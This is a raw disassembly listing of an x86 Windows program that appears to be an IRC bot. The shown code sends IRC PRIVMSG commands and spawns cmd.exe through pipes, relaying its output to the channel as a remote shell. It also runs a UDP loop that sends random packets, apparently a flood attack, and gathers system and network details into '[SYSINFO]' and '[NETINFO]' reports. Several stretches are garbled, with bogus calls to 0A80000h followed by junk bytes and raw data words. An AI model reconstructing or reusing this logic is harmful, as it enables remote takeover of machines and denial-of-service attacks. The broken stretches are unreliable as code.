		push	ebx
		call	near ptr 0A80000h
		push	0B8EC8B55h
		adc	[ebx], al
		add	[eax], eax
		call	sub_415D70
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	49h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-134h]
		rep movsd
		push	1
		pop	esi
		mov	[eax+120h], esi
		call	ds:dword_42104C	; GetTickCount
		push	eax
		call	sub_41553B
		pop	ecx
		push	11h
		push	2
		push	2
		call	ds:dword_43A408
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp-10h]
		push	edi
		push	eax
		call	sub_415570
		add	esp, 0Ch
		lea	eax, [ebp-0B0h]
		mov	word ptr [ebp-10h], 2
		push	eax
		call	ds:dword_43A3C8
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+8], eax
		jnz	short loc_40A488
		lea	eax, [ebp-0B0h]
		push	eax
		call	ds:dword_43A40C
		cmp	eax, edi
		jnz	short loc_40A481
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-334h]
		push	offset dword_42B510
		push	eax
		call	sub_4154E9
		add	esp, 0Ch
		cmp	[ebp-18h], edi
		jnz	short loc_40A464
		push	edi
		lea	eax, [ebp-334h]
		push	dword ptr [ebp-1Ch]
		push	eax
		lea	eax, [ebp-130h]
		push	eax
		push	dword ptr [ebp-134h]
		call	sub_412D4E
		add	esp, 14h


loc_40A464:				; CODE XREF: seg000:0040A442j
		lea	eax, [ebp-334h]
		push	eax
		call	sub_40B16D
		push	dword ptr [ebp-20h]
		call	sub_4152B1
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 0A80000h
; ---------------------------------------------------------------------------
		db 8Fh
; ---------------------------------------------------------------------------


loc_40A481:				; CODE XREF: seg000:0040A422j
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		jmp	short loc_40A48B
; ---------------------------------------------------------------------------


loc_40A488:				; CODE XREF: seg000:0040A411j
		lea	eax, [ebp+8]


loc_40A48B:				; CODE XREF: seg000:0040A486j
		mov	eax, [eax]
		cmp	[ebp-24h], edi
		mov	[ebp-0Ch], eax
		jnz	short loc_40A4A6
		call	sub_415545
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		jmp	short loc_40A4A9
; ---------------------------------------------------------------------------


loc_40A4A6:				; CODE XREF: seg000:0040A493j
		push	dword ptr [ebp-24h]


loc_40A4A9:				; CODE XREF: seg000:0040A4A4j
		call	ds:dword_43A388
		cmp	[ebp-24h], esi
		mov	[ebp-0Eh], ax
		jge	short loc_40A4BB
		mov	[ebp-24h], esi


loc_40A4BB:				; CODE XREF: seg000:0040A4B6j
		mov	eax, 0FFFFh
		cmp	[ebp-24h], eax
		jle	short loc_40A4C8
		mov	[ebp-24h], eax


loc_40A4C8:				; CODE XREF: seg000:0040A4C3j
		mov	eax, [ebp-30h]
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		cmp	[ebp-28h], edi
		mov	[ebp-30h], eax
		jnz	short loc_40A4DC
		mov	[ebp-28h], esi


loc_40A4DC:				; CODE XREF: seg000:0040A4D7j
		xor	esi, esi
		cmp	[ebp-2Ch], edi
		jle	short loc_40A4FD


loc_40A4E3:				; CODE XREF: seg000:0040A4FBj
		call	sub_415545
		cdq
		mov	ecx, 0FFh
		idiv	ecx
		inc	esi
		cmp	esi, [ebp-2Ch]
		mov	[ebp+esi-10311h], dl
		jl	short loc_40A4E3


loc_40A4FD:				; CODE XREF: seg000:0040A4E1j
					; seg000:0040A53Fj ...
		mov	eax, [ebp-30h]
		dec	dword ptr [ebp-30h]
		test	eax, eax
		jle	short loc_40A55C
		push	0Bh
		pop	esi


loc_40A50A:				; CODE XREF: seg000:0040A53Aj
		lea	eax, [ebp-10h]
		push	10h
		push	eax
		push	edi
		call	sub_415545
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		mov	eax, [ebp-2Ch]
		sub	eax, edx
		push	eax
		lea	eax, [ebp-10310h]
		push	eax
		push	ebx
		call	ds:dword_43A3EC
		push	dword ptr [ebp-28h]
		call	ds:dword_421060	; Sleep
		dec	esi
		jnz	short loc_40A50A
		cmp	[ebp-24h], edi
		jnz	short loc_40A4FD
		call	sub_415545
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		call	ds:dword_43A388
		mov	[ebp-0Eh], ax
		jmp	short loc_40A4FD
; ---------------------------------------------------------------------------


loc_40A55C:				; CODE XREF: seg000:0040A505j
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-334h]
		push	offset dword_42B4D0
		push	eax
		call	sub_4154E9
		add	esp, 0Ch
		cmp	[ebp-18h], edi
		jnz	short loc_40A59C
		push	edi
		lea	eax, [ebp-334h]
		push	dword ptr [ebp-1Ch]
		push	eax
		lea	eax, [ebp-130h]
		push	eax
		push	dword ptr [ebp-134h]
		call	sub_412D4E
		add	esp, 14h


loc_40A59C:				; CODE XREF: seg000:0040A57Aj
		lea	eax, [ebp-334h]
		push	eax
		call	sub_40B16D
		push	dword ptr [ebp-20h]
		call	sub_4152B1
		pop	ecx
		pop	ecx
		push	edi
		call	near ptr 0A80000h
		dec	ebx

; =============== S U B	R O U T	I N E =======================================



sub_40A5B9	proc near		; CODE XREF: sub_40A5E9+2Ap
					; seg000:0040A69Fp ...
		mov	eax, ds:dword_43A6D4
		push	esi
		mov	esi, ds:dword_42106C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40A5CD
		push	eax
		call	esi ; dword_42106C


loc_40A5CD:				; CODE XREF: sub_40A5B9+Fj
		mov	eax, ds:dword_43A6DC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40A5DA
		push	eax
		call	esi ; dword_42106C


loc_40A5DA:				; CODE XREF: sub_40A5B9+1Cj
		mov	eax, ds:dword_43A6D0
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40A5E7
		push	eax
		call	esi ; dword_42106C


loc_40A5E7:				; CODE XREF: sub_40A5B9+29j
		pop	esi
		retn
sub_40A5B9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A5E9	proc near		; CODE XREF: seg000:0040B69Bp
					; seg000:0041135Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_0]
		call	sub_415CF0
		pop	ecx
		mov	[ebp+var_4], eax
		lea	ecx, [ebp+var_4]
		push	0
		push	ecx
		push	eax
		push	[ebp+arg_0]
		push	ds:dword_43A6D8
		call	near ptr 0A80000h
		sti
		test	eax, eax
		jnz	short loc_40A61C
		call	sub_40A5B9
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_40A61C:				; CODE XREF: sub_40A5E9+28j
		push	1
		pop	eax
		leave
		retn
sub_40A5E9	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	offset byte_438FAC
		push	dword ptr [ebp+0Ch]
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40A664
		push	7D0h
		call	ds:dword_421060	; Sleep
		push	dword ptr [ebp+10h]
		lea	eax, [ebp-200h]
		push	dword ptr [ebp+0Ch]
		push	offset aPrivmsgSS ; "PRIVMSG %s	:%s\r"
		push	eax
		call	sub_4154E9
		add	esp, 10h
		jmp	short loc_40A67B
; ---------------------------------------------------------------------------


loc_40A664:				; CODE XREF: seg000:0040A63Bj
		push	dword ptr [ebp+10h]
		lea	eax, [ebp-200h]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_4154E9
		add	esp, 0Ch


loc_40A67B:				; CODE XREF: seg000:0040A662j
		lea	eax, [ebp-200h]
		push	0
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp-200h]
		push	eax
		push	dword ptr [ebp+8]
		call	ds:dword_43A3D8
		test	eax, eax
		jg	short loc_40A6A4
		call	sub_40A5B9


loc_40A6A4:				; CODE XREF: seg000:0040A69Dj
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_40A6A8:				; DATA XREF: sub_40A7FD+170o
		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, 200h
		xor	edi, edi
		mov	ebx, offset dword_43A6E0
		push	esi
		lea	eax, [ebp-20Ch]
		push	edi
		push	eax
		call	sub_415570
		add	esp, 0Ch
		lea	eax, [ebp-4]
		push	edi
		push	edi
		push	eax
		lea	eax, [ebp-20Ch]
		push	esi
		push	eax
		push	ds:dword_43A6D4
		call	near ptr 0A80000h
		adc	al, 85h
		ror	byte ptr [edi],	84h
		wait
; ---------------------------------------------------------------------------
		dd 39000000h, 2B75FC7Dh, 50F8458Dh, 0A6D035FFh,	0F9E80043h
		dd 3A006758h, 0D74C085h, 3F87D81h, 0F000001h, 9985h, 0FF0A6A00h
		dd 42106015h, 339DEB00h, 0FC7D39C0h, 0BC801076h, 0FFFDF405h
		dd 54740AFFh, 0FC453B40h, 7589F072h, 858D56FCh,	0FFFFFDF4h
		dd 25E85057h, 830000AEh, 458D0CC4h, 0FF5057F4h,	858DFC75h
		dd 0FFFFFDF4h, 0D435FF50h, 0FF0043A6h, 42106815h, 74C08500h
		dd 0F4858D6Dh, 50FFFFFDh, 1435FF53h, 0E80043A7h, 0FFFFFEA1h
		dd 0E90CC483h, 0FFFFFF38h, 0FC458940h, 0DC68AFEBh, 530042B5h
		dd 0A71435FFh, 82E80043h, 0FFFFFFFEh, 0AE80875h, 830000ABh
		dd 16A10C4h, 67584FE8h,	2E84300h, 68FFFFFEh, 42B5A0h, 1435FF53h
		dd 0E80043A7h, 0FFFFFE59h, 0E80875FFh, 0AAE1h, 5710C483h
		dd 675827E8h, 5C683A00h, 530042B5h, 0A71435FFh,	36E80043h
		dd 0FFFFFFFEh, 0BEE80875h, 830000AAh, 0E85710C4h, 675804h
		db 1Ah

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A7FD	proc near		; CODE XREF: seg000:0040B5EAp
					; seg000:00412016p

var_378		= byte ptr -378h
var_178		= byte ptr -178h
var_74		= dword	ptr -74h
var_48		= dword	ptr -48h
var_44		= word ptr -44h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_5056D43D	= byte ptr  5056D445h
arg_6A5F74B8	= qword	ptr  6A5F74C0h

		push	ebp
		mov	ebp, esp
		sub	esp, 378h
		push	ebx
		push	esi
		push	edi
		call	sub_40A5B9
		xor	esi, esi
		lea	eax, [ebp+var_178]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aCmd_exe	; "cmd.exe"
		push	esi
		call	ds:dword_43A444
		test	eax, eax
		jz	loc_40A8F7
		push	1
		lea	eax, [ebp+var_1C]
		pop	ebx
		mov	edi, ds:dword_421108
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		mov	[ebp+var_1C], 0Ch
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		mov	[ebp+var_14], ebx
		mov	[ebp+var_18], esi
		call	edi ; dword_421108
		test	eax, eax
		jz	loc_40A8F7
		lea	eax, [ebp+var_1C]
		push	esi
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	edi ; dword_421108
		test	eax, eax
		jz	loc_40A8F7
		mov	edi, ds:dword_421104
		push	3
		push	esi
		push	esi
		push	offset dword_43A6D8
		call	edi ; dword_421104
		push	eax
		push	[ebp+var_8]
		call	edi ; dword_421104
		push	eax
		call	near ptr 0A80000h
		bound	eax, [ebp+arg_6A5F74B8]


loc_40A899:				; DATA XREF: seg002:00424ED4o
					; seg002:00424F18o ...
		adc	[ebp+arg_5056D43D], cl
		call	sub_415570
		push	44h
		lea	eax, [ebp+var_74]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_415570
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_3C], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_38], eax
		mov	[ebp+var_34], eax
		lea	eax, [ebp+var_2C]
		mov	[ebp+var_74], edi
		push	eax
		lea	eax, [ebp+var_74]
		push	eax
		push	esi
		push	esi
		push	esi
		push	ebx
		push	esi
		mov	ebx, offset byte_438FAC
		push	esi
		lea	eax, [ebp+var_178]
		push	ebx
		push	eax
		mov	[ebp+var_48], 101h
		mov	[ebp+var_44], si
		call	near ptr 0A80000h
		push	es
		test	eax, eax
		jnz	short loc_40A8FF


loc_40A8F7:				; CODE XREF: sub_40A7FD+2Fj
					; sub_40A7FD+5Cj ...
		or	eax, 0FFFFFFFFh
		jmp	loc_40A9AD
; ---------------------------------------------------------------------------


loc_40A8FF:				; CODE XREF: sub_40A7FD+F8j
		push	[ebp+var_4]
		mov	edi, ds:dword_42106C
		call	edi ; dword_42106C
		mov	eax, [ebp+var_10]
		push	[ebp+var_28]
		mov	ds:dword_43A6D4, eax
		mov	eax, [ebp+var_8]
		mov	ds:dword_43A6DC, eax
		mov	eax, [ebp+var_2C]
		mov	ds:dword_43A6D0, eax
		call	edi ; dword_42106C
		mov	eax, [ebp+arg_0]
		cmp	[ebp+arg_4], esi
		mov	ds:dword_43A714, eax
		jz	short loc_40A939
		push	[ebp+arg_4]
		jmp	short loc_40A93A
; ---------------------------------------------------------------------------


loc_40A939:				; CODE XREF: sub_40A7FD+135j
		push	ebx


loc_40A93A:				; CODE XREF: sub_40A7FD+13Aj
		push	offset dword_43A6E0
		call	sub_4154E9
		pop	ecx
		pop	ecx
		push	esi
		push	7
		push	offset dword_42B668
		call	sub_414F95
		mov	edi, eax
		mov	ecx, [ebp+var_24]
		imul	edi, 234h
		add	esp, 0Ch
		mov	ds:dword_43F520[edi], ecx
		lea	ecx, [ebp+var_30]
		push	ecx
		push	esi
		push	eax
		push	offset loc_40A6A8
		push	esi
		push	esi
		call	ds:dword_42108C	; CreateThread
		cmp	eax, esi
		mov	ds:dword_43F52C[edi], eax
		jnz	short loc_40A9AB
		call	ds:dword_421088	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_378]
		push	offset dword_42B620
		push	eax
		call	sub_4154E9
		lea	eax, [ebp+var_378]
		push	eax
		call	sub_40B16D
		add	esp, 10h


loc_40A9AB:				; CODE XREF: sub_40A7FD+185j
		xor	eax, eax


loc_40A9AD:				; CODE XREF: sub_40A7FD+FDj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40A7FD	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A9B2	proc near		; CODE XREF: sub_407135+74p
					; sub_40AAD1+217p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		call	ds:dword_42104C	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	ebx, 15180h
		xor	edx, edx
		mov	esi, ebx
		mov	edi, 0E10h
		mov	ebp, edi
		push	3Ch
		mov	ecx, eax
		sub	ecx, [esp+14h+arg_0]
		mov	eax, ecx
		div	esi
		mov	esi, edx
		xor	edx, edx
		mov	eax, esi
		div	ebp
		pop	ebp
		mov	eax, edx
		xor	edx, edx
		div	ebp
		xor	edx, edx
		push	eax
		mov	eax, esi
		div	edi
		xor	edx, edx
		mov	esi, offset dword_43A71C
		push	eax
		mov	eax, ecx
		div	ebx
		push	eax
		push	offset aDdDhDm	; "%dd %dh %dm"
		push	32h
		push	esi
		call	sub_415A6A
		add	esp, 18h
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_40A9B2	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AA1B	proc near		; CODE XREF: sub_40AAD1+290p
		push	ebx
		push	esi
		push	edi
		mov	esi, 0F4240h


loc_40AA23:				; CODE XREF: sub_40AA1B+2Fj
					; sub_40AA1B+35j
		rdtsc
		push	3E8h
		mov	edi, edx
		mov	ebx, eax
		call	ds:dword_421060	; Sleep
		rdtsc
		sub	eax, ebx
		push	0
		sbb	edx, edi
		push	esi
		push	edx
		push	eax
		call	sub_4172E0
		mov	edi, edx
		mov	ebx, eax
		test	edi, edi
		ja	short loc_40AA23
		jb	short loc_40AA52
		cmp	ebx, esi
		ja	short loc_40AA23


loc_40AA52:				; CODE XREF: sub_40AA1B+31j
		push	0
		push	64h
		push	edi
		push	ebx
		call	sub_417260
		mov	ecx, edx
		push	64h
		xor	edx, edx
		mov	esi, eax
		test	ecx, ecx
		pop	eax
		ja	short loc_40AAC5
		jb	short loc_40AA71
		cmp	esi, 50h
		jnb	short loc_40AA76


loc_40AA71:				; CODE XREF: sub_40AA1B+4Fj
		push	4Bh
		xor	edx, edx
		pop	eax


loc_40AA76:				; CODE XREF: sub_40AA1B+54j
		test	ecx, ecx
		ja	short loc_40AAC5
		jb	short loc_40AA81
		cmp	esi, 47h
		jnb	short loc_40AA86


loc_40AA81:				; CODE XREF: sub_40AA1B+5Fj
		push	42h
		xor	edx, edx
		pop	eax


loc_40AA86:				; CODE XREF: sub_40AA1B+64j
		test	ecx, ecx
		ja	short loc_40AAC5
		jb	short loc_40AA91
		cmp	esi, 37h
		jnb	short loc_40AA96


loc_40AA91:				; CODE XREF: sub_40AA1B+6Fj
		push	32h
		xor	edx, edx
		pop	eax


loc_40AA96:				; CODE XREF: sub_40AA1B+74j
		test	ecx, ecx
		ja	short loc_40AAC5
		jb	short loc_40AAA1
		cmp	esi, 26h
		jnb	short loc_40AAA6


loc_40AAA1:				; CODE XREF: sub_40AA1B+7Fj
		push	21h
		xor	edx, edx
		pop	eax


loc_40AAA6:				; CODE XREF: sub_40AA1B+84j
		test	ecx, ecx
		ja	short loc_40AAC5
		jb	short loc_40AAB1
		cmp	esi, 1Eh
		jnb	short loc_40AAB6


loc_40AAB1:				; CODE XREF: sub_40AA1B+8Fj
		push	19h
		xor	edx, edx
		pop	eax


loc_40AAB6:				; CODE XREF: sub_40AA1B+94j
		test	ecx, ecx
		ja	short loc_40AAC5
		jb	short loc_40AAC1
		cmp	esi, 0Ah
		jnb	short loc_40AAC5


loc_40AAC1:				; CODE XREF: sub_40AA1B+9Fj
		xor	eax, eax
		xor	edx, edx


loc_40AAC5:				; CODE XREF: sub_40AA1B+4Dj
					; sub_40AA1B+5Dj ...
		sub	eax, esi
		sbb	edx, ecx
		add	eax, ebx
		adc	edx, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40AA1B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AAD1	proc near		; CODE XREF: seg000:00412276p

var_7E8		= byte ptr -7E8h
var_668		= byte ptr -668h
var_5E8		= byte ptr -5E8h
var_568		= byte ptr -568h
var_4E8		= byte ptr -4E8h
var_3E4		= byte ptr -3E4h
var_2E8		= byte ptr -2E8h
var_25C		= word ptr -25Ch
var_25A		= byte ptr -25Ah
var_15C		= byte ptr -15Ch
var_114		= byte ptr -114h
var_CC		= dword	ptr -0CCh
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= byte ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7E8h
		push	ebx
		push	esi
		lea	eax, [ebp+var_CC]
		push	edi
		push	eax
		mov	[ebp+var_4], offset byte_438FAC
		mov	[ebp+var_CC], 94h
		call	ds:dword_42110C	; GetVersionExA
		xor	ebx, ebx
		cmp	[ebp+var_C8], 4
		jnz	short loc_40AB58
		cmp	[ebp+var_C4], ebx
		jnz	short loc_40AB34
		cmp	[ebp+var_BC], 1
		jnz	short loc_40AB1E
		mov	[ebp+var_4], offset a95	; "95"


loc_40AB1E:				; CODE XREF: sub_40AAD1+44j
		cmp	[ebp+var_BC], 2
		jnz	loc_40ABD3
		mov	[ebp+var_4], offset aNt	; "NT"
		jmp	short loc_40ABA4
; ---------------------------------------------------------------------------


loc_40AB34:				; CODE XREF: sub_40AAD1+3Bj
		cmp	[ebp+var_C4], 0Ah
		jnz	short loc_40AB46
		mov	[ebp+var_4], offset a98	; "98"
		jmp	short loc_40AB9B
; ---------------------------------------------------------------------------


loc_40AB46:				; CODE XREF: sub_40AAD1+6Aj
		cmp	[ebp+var_C4], 5Ah
		jnz	short loc_40AB94
		mov	[ebp+var_4], offset aMe	; "ME"
		jmp	short loc_40AB9B
; ---------------------------------------------------------------------------


loc_40AB58:				; CODE XREF: sub_40AAD1+33j
		cmp	[ebp+var_C8], 5
		jnz	short loc_40AB94
		cmp	[ebp+var_C4], ebx
		jnz	short loc_40AB72
		mov	[ebp+var_4], offset a2k	; "2K"
		jmp	short loc_40AB9B
; ---------------------------------------------------------------------------


loc_40AB72:				; CODE XREF: sub_40AAD1+96j
		cmp	[ebp+var_C4], 1
		jnz	short loc_40AB84
		mov	[ebp+var_4], offset aXp	; "XP"
		jmp	short loc_40AB9B
; ---------------------------------------------------------------------------


loc_40AB84:				; CODE XREF: sub_40AAD1+A8j
		cmp	[ebp+var_C4], 2
		mov	[ebp+var_4], offset a2003 ; "2003"
		jz	short loc_40AB9B


loc_40AB94:				; CODE XREF: sub_40AAD1+7Cj
					; sub_40AAD1+8Ej
		mov	[ebp+var_4], offset dword_42B7B8


loc_40AB9B:				; CODE XREF: sub_40AAD1+73j
					; sub_40AAD1+85j ...
		cmp	[ebp+var_BC], 2
		jnz	short loc_40ABD3


loc_40ABA4:				; CODE XREF: sub_40AAD1+61j
		cmp	[ebp+var_B8], bl
		jz	short loc_40ABD3
		lea	eax, [ebp+var_B8]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	[ebp+var_4]
		push	offset dword_42B7B0
		push	eax
		call	sub_4154E9
		lea	eax, [ebp+var_2E8]
		add	esp, 10h
		mov	[ebp+var_4], eax


loc_40ABD3:				; CODE XREF: sub_40AAD1+54j
					; sub_40AAD1+D1j ...
		mov	ax, ds:word_42B7AC
		push	3Fh
		mov	[ebp+var_25C], ax
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_25A]
		rep stosd
		stosw
		mov	eax, ds:dword_43A274
		mov	[ebp+var_C], 100h
		cmp	eax, ebx
		jz	short loc_40AC0C
		lea	ecx, [ebp+var_C]
		push	ecx
		lea	ecx, [ebp+var_25C]
		push	ecx
		call	eax ; dword_43A274


loc_40AC0C:				; CODE XREF: sub_40AAD1+12Cj
		push	[ebp+arg_4]
		call	sub_40A171
		pop	ecx
		push	eax
		call	ds:dword_43A3C8
		mov	[ebp+var_8], eax
		push	2
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		call	ds:dword_43A340
		cmp	eax, ebx
		jz	short loc_40AC35
		push	dword ptr [eax]
		jmp	short loc_40AC3A
; ---------------------------------------------------------------------------


loc_40AC35:				; CODE XREF: sub_40AAD1+15Ej
		push	offset aCouldnTResolve ; "couldn't resolve host"


loc_40AC3A:				; CODE XREF: sub_40AAD1+162j
		lea	eax, [ebp+var_3E4]
		push	eax
		call	sub_4154E9
		pop	ecx
		lea	eax, [ebp+var_4E8]
		pop	ecx
		push	104h
		push	eax
		call	near ptr 0A80000h
		push	edi
		lea	eax, [ebp+var_114]
		push	46h
		push	eax
		push	offset aDdMmmYyyy ; "dd:MMM:yyyy"
		push	ebx
		mov	esi, 409h
		push	ebx
		push	esi
		call	near ptr 0A80000h
		cdq
		lea	eax, [ebp+var_15C]
		push	46h
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	ebx
		push	ebx
		push	esi
		call	near ptr 0A80000h
		daa
		push	20h
		lea	eax, [ebp+var_38]
		push	ebx
		push	eax
		call	sub_415570
		add	esp, 0Ch
		lea	eax, [ebp+var_38]
		push	eax
		call	near ptr 0A80000h
		inc	edi
		push	ebx
		push	ebx
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		call	sub_417348
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_7E8]
		push	eax
		call	sub_40C328
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_7E8]
		rep movsd
		push	60h
		lea	esi, [ebp+var_7E8]
		pop	ecx
		lea	edi, [ebp+var_668]
		rep movsd
		push	ebx
		call	sub_40A9B2
		add	esp, 20h
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_114]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	[ebp+arg_4]
		call	sub_40A171
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3E4]
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	[ebp+var_C0]
		push	[ebp+var_C4]
		push	[ebp+var_C8]
		push	[ebp+var_4]
		push	eax
		lea	eax, [ebp+var_568]
		push	eax
		mov	eax, [ebp+var_2C]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_40C218
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_30]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_40C218
		pop	ecx
		pop	ecx
		push	eax
		call	sub_40AA1B
		push	edx
		push	eax
		push	offset aSysinfoCpuI64u ; "[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB"...
		push	200h
		push	[ebp+arg_0]
		call	sub_415A6A
		mov	eax, [ebp+arg_0]
		add	esp, 50h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40AAD1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AD85	proc near		; CODE XREF: seg000:00411275p
					; seg000:004122A4p

var_8C		= byte ptr -8Ch
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8Ch
		push	esi
		mov	esi, 80h
		push	esi
		lea	eax, [ebp+var_8C]
		push	0
		push	eax
		call	sub_415570
		add	esp, 0Ch
		cmp	ds:dword_43A470, 0
		jnz	short loc_40ADF9
		push	0
		lea	eax, [ebp+var_8C]
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	ds:dword_43A258
		test	eax, eax
		jnz	short loc_40ADDA
		lea	eax, [ebp+var_8C]
		push	offset dword_42B82C
		push	eax
		call	sub_4154E9
		pop	ecx
		pop	ecx


loc_40ADDA:				; CODE XREF: sub_40AD85+40j
		test	[ebp+var_C], 1
		jz	short loc_40ADF2
		push	offset dword_42B824


loc_40ADE5:				; CODE XREF: sub_40AD85+72j
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_4154E9
		pop	ecx
		pop	ecx
		jmp	short loc_40AE18
; ---------------------------------------------------------------------------


loc_40ADF2:				; CODE XREF: sub_40AD85+59j
		push	offset dword_42B820
		jmp	short loc_40ADE5
; ---------------------------------------------------------------------------


loc_40ADF9:				; CODE XREF: sub_40AD85+28j
		mov	esi, offset off_42B81C
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		call	sub_4154E9
		lea	eax, [ebp+var_8C]
		push	esi
		push	eax
		call	sub_4154E9
		add	esp, 10h


loc_40AE18:				; CODE XREF: sub_40AD85+6Bj
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		call	sub_40A171
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset aNetinfoTypeSS_ ; "[NETINFO]: [Type]: %s	(%s). [IP Address"...
		push	200h
		push	[ebp+arg_0]
		call	sub_415A6A
		mov	eax, [ebp+arg_0]
		add	esp, 1Ch
		pop	esi
		leave
		retn
sub_40AD85	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AE4B	proc near		; DATA XREF: seg000:0041144Ao

var_65C		= byte ptr -65Ch
var_55C		= byte ptr -55Ch
var_35C		= dword	ptr -35Ch
var_358		= byte ptr -358h
var_2D8		= byte ptr -2D8h
var_258		= byte ptr -258h
var_1D8		= dword	ptr -1D8h
var_1D4		= dword	ptr -1D4h
var_1D0		= dword	ptr -1D0h
var_1C8		= byte ptr -1C8h
var_148		= byte ptr -148h
var_C8		= byte ptr -0C8h
var_48		= dword	ptr -48h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 65Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	65h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_35C]
		rep movsd
		push	1
		mov	edi, 80h
		pop	esi
		xor	ebx, ebx
		mov	[eax+190h], esi
		push	edi
		lea	eax, [ebp+var_148]
		push	ebx
		push	eax
		mov	[ebp+var_C], ebx
